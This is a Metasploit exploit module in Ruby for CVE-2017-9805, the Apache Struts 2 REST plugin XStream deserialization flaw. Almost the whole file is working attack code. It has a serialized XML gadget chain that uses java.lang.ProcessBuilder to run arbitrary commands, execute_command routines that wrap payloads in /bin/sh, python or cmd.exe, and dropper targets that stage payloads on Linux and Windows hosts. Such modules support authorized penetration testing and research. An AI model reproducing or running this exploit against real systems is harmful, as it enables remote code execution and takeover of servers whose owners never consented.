##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 REST Plugin XStream RCE',
      'Description'    => %q{
        Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,
        using the REST plugin, are vulnerable to a Java deserialization attack
        in the XStream library.
      },
      'Author'         => [
        'Man Yue Mo', # Vulnerability discovery
        'wvu'         # Metasploit module
      ],
      'References'     => [
        ['CVE', '2017-9805'],
        ['URL', 'https://struts.apache.org/docs/s2-052.html'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
        ['URL', 'https://github.com/mbechler/marshalsec']
      ],
      'DisclosureDate' => 'Sep 5 2017',
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix', 'python', 'linux', 'win'],
      'Arch'           => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'        => [
        ['Unix (In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD
        ],
        ['Python (In-Memory)',
          'Platform'   => 'python',
          'Arch'       => ARCH_PYTHON
        ],
=begin this stuff that doesn't work yet
        ['PowerShell (In-Memory)',
          'Platform'   => 'win',
          'Arch'       => [ARCH_X86, ARCH_X64]
        ],
=end
        ['Linux (Dropper)',
          'Platform'   => 'linux',
          'Arch'       => [ARCH_X86, ARCH_X64]
        ],
        ['Windows (Dropper)',
          'Platform'   => 'win',
          'Arch'       => [ARCH_X86, ARCH_X64]
        ]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
    ])
  end

  def check
    if execute_command(random_crap)
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    case target.name
    when /Unix/, /Python/, /PowerShell/
      execute_command(payload.encoded)
    else
      execute_cmdstager
    end
  end

  #
  # Exploit methods
  #

  def execute_command(cmd, opts = {})
    cmd = case target.name
    when /Unix/, /Linux/
      %W{/bin/sh -c #{cmd}}
    when /Python/
      %W{python -c #{cmd}}
    when /PowerShell/
      # This doesn't work yet
      %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
    when /Windows/
      %W{cmd.exe /c #{cmd}}
    end

    # Encode each command argument with XML entities
    cmd.map! { |arg| arg.encode(xml: :text) }

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => target_uri.path,
      'ctype'  => 'application/xml',
      'data'   => xstream_payload(cmd)
    )

    check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect)
  end

  # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
  def xstream_payload(cmd)
    # XXX: <spillLength> and <read> need to be removed for Windows
    <<EOF
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>#{cmd.join('</string><string>')}</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>#{random_crap}</name>
                  </filter>
                  <next class="string">#{random_crap}</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>
EOF
  end

  #
  # Utility methods
  #

  def check_response(res)
    res && res.code == 500 && res.body.include?(error_string)
  end

  def error_string
    'java.lang.String cannot be cast to java.security.Provider$Service'
  end

  def random_crap
    Rex::Text.rand_text_alphanumeric(rand(42) + 1)
  end

end
